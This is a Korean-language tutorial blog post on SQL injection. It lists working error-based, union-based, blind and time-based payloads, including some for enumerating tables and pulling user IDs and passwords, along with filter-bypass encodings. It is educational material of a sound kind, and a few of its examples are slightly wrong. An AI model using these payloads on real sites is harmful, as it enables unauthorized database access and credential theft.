SQL Injection

Simcurity·2023년 4월 4일
0
post-thumbnail

1. SQL Injection이란?

모든 웹 사이트, 홈페이지들은 데이터베이스라는 저장 공간이 있습니다.
사용자가 로그인을 할 때 단순히 ID와 PASSWORD를 치고 로그인에 성공하지만 실제로는 다음과 같은 일들이 일어납니다.

매우 간단하게 요약한 작동 방식입니다.

SQL Injection은 악의적인 공격자가 입력 값을 이용해 쿼리문 자체를 변조시켜 인증을 우회하거나 또는 DBMS의 중료 데이터를 읽어오는 공격입니다.
매우 심각성이 높고 2013년, 2017년 OWASP TOP 10에서 1위를 차지하고 현재 2021년 OWASP TOP 10에서는 XSS와 합쳐지며 3위를 기록중입니다.
그러나 현재에도 매우 빈번히 발생하는 공격이고 DB의 중요 정보 노출 시 심각성 또한 매우 높아 치명적인 공격입니다.


SQL Injection을 연습하고 싶다면 이 사이트가 좋은것 같습니다.
https://los.rubiya.kr/gate.php

2. SQL Injection 공격 종류

1. SQL injection

가장 기본적인 인젝션 공격으로 해당 쿼리문의 인증 우회를 하는 방법으로 쓰입니다.
현재는 거의 불가능한 공격이라고 보면 됩니다. (웬만한 시큐어 코딩이 다 되어있으므로)
이 후에 나오는 공격들이 모두 SQL Injection이라는 공격안에 들어있는 것이라고 생각하면 됩니다.

2. Error based sql injection

이 방법은 공격자가 강제로 거짓을 유도하여 정보를 수집하는 방법의 공격입니다.

1. DB명 추출
' and db_name() > 1 --
문자열과 정수 비교 불가 강제 오류 발생
이렇게 거짓을 유도하여 에러 페이지에 DB 이름이 유출이 되도록합니다.

2. 테이블 이름 추출
' having 1=1--
having 절은 group by와 같이 쓰여야 하지만 없으므로 오류 발생

3. Column이름 추출
’ group by (테이블 이름) --
table.column의 결과를 얻을 수 있습니다

4. 데이터 추출
’ or 1 in (select 컬럼 from 테이블) --
정수와 문자열을 비교해 오류 타입 에러 발생

5. 테이블 행 갯수 구하기
’ or 1 in (select ‘a’+cast(count(*) as varchar(100)) from 테이블) --

 

3. Union based sql injection

이 공격은 앞의 쿼리와 공격자가 변조한 쿼리를 UNION SELECT 문으로 합쳐 결과를 더해서 보여주는 공격입니다. 앞에 쿼리(웹 서비스의 쿼리)와 뒤에 쿼리(공격자의 쿼리)의 컬럼 개수 동일해야 합니다.

select * from test;

' union select 1,2,3 …. ;

컬럼 갯수 예측하기위해 1씩 증가시키며 결과 확인

(oracle에선 컬럼 타입도 맞춰줘야함 1,’2’,3,’4’ 와 같이 정수와 문자 구분)

- 정보 추출을 위한 중요 키워드

SYSOBJECT : 테이블 이름 = name
SYSCOLUMNS : 컬럼 이름 = name
information_schema.tables : 테이블 이름 = table_name
information_schema.columns : 컬럼 이름 = column_name

1.  union select table_name,2,3,4,5 from information_schema.tables --

2.  union select 1,2,3,4,column_name from information_schema.columns where table_name='user' --

3.  union select 1,2,3,user_id,passwd from members --

 

4. blind based sql injection

이 공격은 앞의 쿼리문을 항상 참으로 만들고 공격자가 뒤의 쿼리를 변조하여 두 쿼리를 and 연산을 이용해 변조한 값이 참이면 참, 거짓이면 거짓을 판별하여 정보를 추출하는 공격입니다.

참/거짓 쿼리를 사용 ⇒ 참/거짓을 판단할 지표가 반드시 필요

‘ and 1=1 -- (참)
‘ and 1=2 -- (거짓)

substring()함수를 많이 사용합니다.
substring(’admin’,1,1) : admin이라는 문자열로부터 첫 번째 위치로부터 한 글자 ⇒ a
substring(’admin’,2,3) : 두 번째 위치로부터 세 글자 ⇒ dmi

이것을 활용해서

[참]' and 'a'=substring((select top 1 id from user),1,1) --
[참]' and 111=ascii(substring((select top 1 id from user),1,1)) --
이렇게 user테이블의 첫 번째 id의 정보를 추출할 수 있습니다.

또한 limit()와 substring()를 조합하여 컬럼의 이름을 추출할 수 있습니다.

' and 'a'=ascii(substring((select column_name from user limit 0,1),1,1)) --

user테이블의 첫 번째 컬럼의 첫 번째 글자는 a인가를 알아내는 방법입니다.

 

5.Time based blind sql injection

이 공격은 blind sql injection으로도 참/거짓 판단이 불가능한 경우 DBMS내의 딜레이 함수로 참/거짓을 판단합니다. delay함수를 활용해 참일 경우 5초가 지나고 결과가 나오게 만들어 경과시간을 보고 참/거짓을 알아내는 방법입니다.

ex) ‘; if 1=1 waitfor delay ‘0:0:5’ --
1=1을 공격자가 원하는 정보를 비교해봅니다.

ex) ‘; if ‘o’=substring((select top 1 id from user),1,1) waitfor delay ‘0:0:5’ --

 

6. 추가 사항

공백 필터링 우회 방법 => 공백 대신 사용

더하기 : +
괄호 : ()
주석 : /**/
탭(\v) : %0b
줄 바꿈(\n) : %0a
수직탭(\v) : %0b
폼피드(\f) : %0c
CR(Carriage Return=>\r) : %0d

0개의 댓글